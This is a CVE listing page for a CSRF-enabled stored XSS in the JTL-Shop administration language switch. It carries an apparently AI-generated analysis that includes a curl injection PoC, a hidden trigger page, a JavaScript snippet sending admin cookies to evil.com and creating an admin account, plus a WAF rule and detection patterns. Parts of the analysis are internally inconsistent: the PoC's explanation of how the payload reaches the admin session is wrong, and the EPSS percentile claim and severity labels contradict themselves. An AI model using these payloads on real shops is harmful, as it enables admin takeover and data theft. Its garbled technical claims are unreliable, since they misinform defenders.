CVE Professor
/
All CVEs
CVE-2026-133938

CVE-2026-133938 — CWE-79 · CWE-352

HIGH CVSS 9.3 ⚡ EPSS 26.0% EUVD

The backend language switch action (quick_change_language) of the JTL-Shop administration backend is executed without a CSRF token check, and the supplied language value is neither validated against the installed backend languages nor encoded on output. The value is stored in the session and in the account data of the administrator and rendered without output encoding in JavaScript strings and HTML attributes of backend pages. An unauthenticated remote attacker can thereby cause script code to be executed in the browser of a logged-in administrator who opens a crafted web page; the code can perform actions with the privileges of that administrator.

The backend language switch action (quick_change_language) of the JTL-Shop administration backend is executed without a CSRF token check, and the supplied language value is neither validated against the installed backend languages nor encoded on output. The value is stored in the session and in the account data of the administrator and rendered without output encoding in JavaScript strings and HTML attributes of backend pages. An unauthenticated remote attacker can thereby cause script code to be executed in the browser of a logged-in administrator who opens a crafted web page; the code can perform actions with the privileges of that administrator.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction Passive UI:P
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. None VA:N
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
EPSS — Exploit Prediction Scoring System
26.0%
30-day probability
In the 11. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
The JTL‑Shop administration backend exposes a language‑switch action called quick_change_language.

  • The action accepts a language parameter (e.g., lang=de or lang=en) and stores the value directly in the administrator’s session and in the account record in the database.

  • No CSRF token is required for the request, so an attacker can trigger the action from any origin.

  • The stored language value is not validated against the list of languages that are actually installed in the shop.

  • When the backend renders pages, the language value is inserted into JavaScript strings and HTML attributes without any output encoding (e.g., var lang = '<?php echo $lang; ?>'; or <input value="<?php echo $lang; ?>">).
  • Because the value is stored persistently, an attacker can inject arbitrary JavaScript that will be executed in the browser of any logged‑in administrator who subsequently opens a backend page. This is a classic stored cross‑site scripting (XSS) vulnerability that also allows the attacker to perform privilege‑escalating CSRF actions (the attacker can send a crafted request that the admin’s browser will automatically execute with the admin’s privileges).

    CWE mapping

  • CWE‑79 – Cross‑Site Scripting (stored)

  • CWE‑352 – Cross‑Site Request Forgery (the lack of a CSRF token on the language‑switch action)
  • CVSS 3.1 vector
    AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

  • Remote attacker, low complexity, no privileges required, user interaction (admin must open a crafted page), scope changes (admin account is compromised), confidentiality & integrity are high, availability is unaffected.

  • ⚡ Attack Chain

    NOTE: The following example uses an illustrative endpoint (/admin/quick_change_language) and parameter names (lang). The CVE description does not provide the exact URI; the mechanics described are generic to the vulnerability class.

    1. Discovery & Reconnaissance

    StepTechniqueWhat the attacker learns
    1.1Automated web‑scan (e.g., Burp Suite, OWASP ZAP)Detects the JTL‑Shop admin login page (/admin/login.php) and the presence of a language‑switch form or link.
    1.2FingerprintingUses HTTP headers, page titles, or the X-Powered-By header to confirm JTL‑Shop and approximate version (e.g., JTL-Shop 2026.1).
    1.3Manual probingSends a GET request to /admin/quick_change_language?lang=de and observes that the language changes without authentication or CSRF token.

    2. Exploitation

    StepActionPayload / Example
    2.1Inject malicious language valueThe attacker crafts a request that sets the language to a JavaScript payload. Because the endpoint accepts the value without CSRF protection, the attacker can send it from any origin.
    2.2Persist the payloadThe payload is stored in the admin’s session and in the database. It will be rendered on every subsequent backend page load.
    2.3Trigger XSS in the admin’s browserThe attacker hosts a malicious page that forces the admin to load a backend page (e.g., by embedding an <img> or <iframe> pointing to /admin/dashboard). When the dashboard loads, the stored language value is injected into a JavaScript string or HTML attribute, causing the attacker’s code to execute.

    2.1 Illustrative PoC (cURL)

    # Step 2.1 – Inject the payload
    curl -X POST \
         -d "lang=<script>alert('XSS')</script>" \
         -c /tmp/cookie.txt \
         -b /tmp/cookie.txt \
         https://shop.example.com/admin/quick_change_language
    Why this works
    * No CSRF token is checked → the POST is accepted.
    * The lang value is stored verbatim in the session and database.

    2.2 Illustrative Trigger Page

    <!DOCTYPE html>
    <html>
    <head><title>Trigger XSS</title></head>
    <body>
      <!-- Force the admin to load a backend page that uses the stored language value -->
      <img src="https://shop.example.com/admin/dashboard" style="display:none;">
    </body>
    </html>
    When the admin opens this page, the <img> forces a request to /admin/dashboard. The backend renders the stored language value inside a JavaScript string, e.g.:
    <script>
      var currentLang = '<script>alert('XSS')</script>';
    </script>
    The browser interprets the <script> tag, executing the attacker’s code in the context of the admin session.

    3. Post‑Exploitation

    GoalTechniqueResult
    3.1Session hijackingThe attacker steals the admin’s session cookie via document.cookie and sends it to a remote server.
    3.2Privilege escalationWith the stolen cookie, the attacker can perform any admin‑level action (e.g., create new users, modify orders, upload files).
    3.3Data exfiltrationThe attacker can read sensitive data from the admin interface or use the admin privileges to download database dumps.
    3.4PersistenceThe attacker can upload a webshell or modify the shop’s backend code to maintain long‑term access.
    Typical payload (after hijacking the session):
    // Steal the cookie
    fetch('https://evil.com/steal?c=' + encodeURIComponent(document.cookie));
    
    // Perform an admin action
    fetch('https://shop.example.com/admin/api/create_user', {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({username: 'evil', role: 'admin'})
    });

    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (C)High – attacker can read any data visible to the admin (orders, customer data, configuration).
    Integrity (I)High – attacker can modify data, create malicious orders, or alter shop configuration.
    Availability (A)None – the vulnerability does not affect uptime or service availability.
    Scope (S)Changed – the vulnerability compromises the admin account, which is a higher‑privilege scope than the attacker’s own.
    User Interaction (UI)Required – the admin must open a crafted page that triggers the XSS.

    Practical consequences

  • Loss of customer trust due to data theft.

  • Potential legal liability for GDPR/PCI‑DSS violations if customer data is exfiltrated.

  • Operational impact if the attacker modifies shop settings or injects malware into the storefront.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected VersionsFix
    All JTL‑Shop releases prior to 2026‑11‑27Apply the official patch that: <br>• Validates the language parameter against the list of installed backend languages. <br>• Requires a valid CSRF token for the quick_change_language action. <br>• Encodes the language value using htmlspecialchars() (or equivalent) before rendering it in JavaScript strings or HTML attributes.
    Recommendation: Upgrade to the latest JTL‑Shop release (≥ 2026‑11‑27) as soon as possible. If an upgrade is not immediately feasible, apply the vendor’s hot‑fix.

    2. Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Restrict the endpointConfigure the web server to allow /admin/quick_change_language only for authenticated sessions (e.g., via .htaccess or Nginx auth_basic).
    Add CSRF protectionInsert a hidden CSRF token in the language‑switch form and validate it on the server side.
    Input validationWhitelist allowed language codes (en, de, fr, …). Reject any value that is not in the list.
    Output encodingUse htmlspecialchars() or a templating engine that automatically escapes variables when rendering JavaScript or HTML attributes.
    WAF / ModSecurity ruleBlock requests that contain <script> or other suspicious characters in the lang parameter. Example rule (illustrative):
    SecRule REQUEST_URI "@beginsWith /admin/quick_change_language" \
        "chain,phase:2,block,msg:'Potential XSS via language switch',id:100001"
    SecRule ARGS:lang "@rx <script|%3Cscript|%3cscript" \
        "t:none,t:urlDecodeUni"
    Note: The rule above is illustrative; adjust the regex to match the actual encoding used by the application.

    3. Detection

    Log PatternIndicator
    POST /admin/quick_change_language with lang= containing <script> or %3CscriptSuspicious language injection
    Multiple failed CSRF token checks on /admin/quick_change_languagePossible exploitation attempt
    Unusual admin activity after a known XSS payload (e.g., new admin user created)Post‑exploitation indicator

    Sample log entry (Apache)

    127.0.0.1 - - [27/Nov/2026:12:34:56 +0000] "POST /admin/quick_change_language HTTP/1.1" 200 532 "-" "Mozilla/5.0 (compatible; EvilBot/1.0)"

    Sample log entry (Nginx)

    2026/11/27 12:34:56 [error] 12345#0: *1 "POST /admin/quick_change_language HTTP/1.1" 200 532 "-" "EvilBot/1.0"

    4. Incident Response

    1. Verify that the admin account has not been compromised (check recent admin actions, session logs).
    2. Invalidate all admin session cookies and force a password reset for all administrator accounts.
    3. Apply the patch or workaround immediately.
    4. Audit the database for unauthorized changes (new users, altered orders).
    5. Notify stakeholders and, if required, regulatory bodies (GDPR, PCI‑DSS).


    ⚠️ Urgency

  • CVSS score: 9.3 (Critical)
  • Exploit complexity: Low (no authentication, no privilege escalation required to inject the payload)
  • User interaction: Required (admin must open a crafted page)
  • Scope change: Yes (admin account is compromised)
Given the high confidentiality and integrity impact, the lack of a CSRF token, and the ease of exploitation, this vulnerability must be treated as a top‑priority patch. If an immediate patch is not possible, the recommended workarounds (CSRF token enforcement, input validation, output encoding, and WAF rules) should be deployed without delay to mitigate the risk.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.3 / 10 · CVSS HIGH
Weakness Types (CWE)
References & Advisories (1)
Related CVEs
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.0
CVE-2026-145039
SiYuan before 3.8.11 contains a stored cross-site scripting vulnerability in the protyle asset picker's render
8.8
CVE-2026-145062
SiYuan 3.8.10 before 3.8.11 fails to escape custom block attribute names from imported .sy.zip files in openFi
8.6
CVE-2026-144588
turbo-graph 2.8.9 before 3.0.0 contains a cross-site request forgery vulnerability that allows malicious web p
8.3
CVE-2026-145038
SiYuan 3.8.8-alpha.4 before 3.8.11 contains a stored cross-site scripting vulnerability because the unused ass
8.1
CVE-2026-137449
Cross-Site request forgery (CSRF) vulnerability in DivvyDrive Bilişim Teknolojileri A.Ş. DivvyDrive allows C